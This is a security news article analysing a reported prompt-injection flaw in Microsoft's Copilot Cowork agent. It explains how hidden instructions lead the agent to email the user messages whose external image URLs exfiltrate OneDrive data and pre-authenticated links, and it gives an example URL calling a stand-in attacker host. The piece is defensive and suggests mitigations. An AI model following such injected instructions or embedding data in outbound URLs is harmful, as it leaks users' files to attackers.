Microsoft Copilot Cowork Data Exfiltration Vulnerability: How AI Agents Can Be Exploited via Prompt Injection Attacks

Incident Overview

Microsoft's latest AI collaboration product, Copilot Cowork, has been found to contain a critical data exfiltration vulnerability. Security research firm Prompt Armor discovered that attackers can leverage prompt injection techniques to exploit the AI agent's email-sending permissions and external image rendering mechanisms, stealing files from OneDrive without the user's knowledge.

Prompt injection is an attack technique specifically targeting large language models (LLMs). Attackers embed malicious instructions within input data processed by the model, tricking the AI system into performing actions beyond its intended scope. These attacks come in two primary forms: direct prompt injection (where the attacker directly feeds malicious instructions to the AI) and indirect prompt injection (where malicious instructions are hidden in external content the AI processes, such as web pages, documents, or emails). Indirect prompt injection is particularly dangerous because the user themselves performs no abnormal actions — the attack occurs silently within the AI's "field of vision." Since 2023, as AI agent systems have been granted increasingly broad tool-calling permissions (such as sending emails, reading/writing files, and executing code), the impact of prompt injection has escalated from "making AI say the wrong thing" to "making AI do harmful things," making it one of the most closely watched attack vectors in AI security.

This vulnerability once again exposes the core challenge in the security design of AI agent systems: how to grant AI autonomous action capabilities while preventing it from becoming a data exfiltration channel for attackers.

Detailed Attack Chain Analysis

To understand this vulnerability, it's essential to first recognize the fundamental difference between AI agents and traditional AI assistants. Traditional conversational AI assistants only generate text responses — their outputs don't directly trigger real-world actions. AI agent systems, however, are empowered to invoke external tools — sending emails, reading/writing files, making API calls, browsing the web — transforming them from "advisors" into "executors." This shift represents a qualitative leap in security implications: attackers no longer need to trick users into clicking malicious links. They simply need to plant malicious instructions in any data source the AI agent processes, then leverage the agent's legitimate permissions to carry out the attack. Major AI agent frameworks including Microsoft's AutoGen, OpenAI's Assistants API, and Anthropic's Claude tool-calling all face this fundamental challenge.

Step 1: Bypassing Approval Mechanisms for Email Sending

Copilot Cowork allows AI agents to send emails to the user's own inbox — and this action requires no user approval. At first glance, this seems like a reasonable design decision — why would you need additional confirmation for emails sent to yourself? But it is precisely this seemingly "reasonable" design assumption that opens the door for the entire attack chain.

Step 2: Data Exfiltration via External Image Rendering

The crux of the issue lies in the fact that emails sent by the AI agent can contain external images when rendered. When a user opens a message manipulated by an attacker, the email client automatically sends a network request to an external server to load the image.

Using external image URLs for data exfiltration is a long-established web security attack technique that takes on new potency in the AI agent context. The core principle is this: HTTP GET requests for loading images send the complete URL (including query parameters) to the target server. An attacker only needs to control the server hosting the image to extract sensitive data encoded in the URL from server logs. For example, an image URL like https://attacker.com/pixel.png?data=BASE64_ENCODED_FILE_CONTENT completes the data transfer the instant the user opens the email, requiring zero user interaction. This technique is particularly difficult to defend against because image loading is "normal behavior" for email clients, and many security tools don't perform deep inspection on such requests.

Attackers only need to encode sensitive data in the image URL to silently complete the data theft. As Prompt Armor noted in their report:

Because these messages can contain external images that trigger network requests to external websites, data is exfiltrated when a user opens a compromised message sent by the agent.

Step 3: OneDrive Pre-Authenticated Links Amplify the Attack Impact

More critically, OneDrive has the capability to create pre-authenticated download links. These pre-authenticated download links are essentially URLs containing temporary access tokens that allow anyone holding the link to directly download the corresponding file within the validity period — without needing to log into a Microsoft account. In legitimate scenarios, this mechanism is extremely convenient, such as sharing files with external partners who don't have Microsoft accounts. However, the danger of pre-authenticated links lies in their self-contained nature — the link itself serves as the credential, requiring no additional session state or cookies, making traditional access control auditing mechanisms largely ineffective at intercepting them.

Once a prompt injection attack succeeds, the AI agent may generate these pre-authenticated links and embed them in the exfiltration channel. After obtaining these links, attackers can directly download the user's files without any additional authentication, dramatically amplifying the real-world impact of the vulnerability.

The "Lethal Trifecta" of AI Agent Security

This vulnerability perfectly illustrates what is known as the "Lethal Trifecta" in AI agent security:

1. Data Access Permissions: The AI agent can access the user's sensitive data (e.g., OneDrive files)
2. External Input Channel: The AI agent may receive attacker-manipulated input (prompt injection)
3. External Output Channel: The AI agent has the ability to send data externally (external image requests in emails)

When all three conditions are met simultaneously, data exfiltration becomes nearly unavoidable. This is not a problem unique to Microsoft — it is a fundamental security challenge that all AI agent systems with autonomous action capabilities must confront.

Industry Implications and Defense Strategies

Rethinking Product Design

Current AI agent system design philosophy generally leans toward maximizing convenience — minimizing user confirmation steps and expanding agent autonomy. However, every "no approval required" action could become a new attack surface. Security teams need to re-evaluate which operations can truly bypass manual confirmation and which must retain an approval step.

Key Technical Defense Measures

• Content Security Policy (CSP): CSP is an HTTP response header mechanism delivered by the server that can precisely declare a whitelist of allowed resource origins for pages or email content. Strict CSP configuration can fundamentally block AI-generated content from making image requests to unauthorized external domains, cutting off the network channel for data exfiltration.
• Output Filtering Mechanisms: Real-time detection and interception of pre-authenticated links or suspicious URLs in AI agent outputs, preventing sensitive credentials from being embedded in outbound content.
• Principle of Least Privilege: Strictly limiting the AI agent's file access and communication permissions to the minimum necessary scope, following the "authorize only when needed" approach.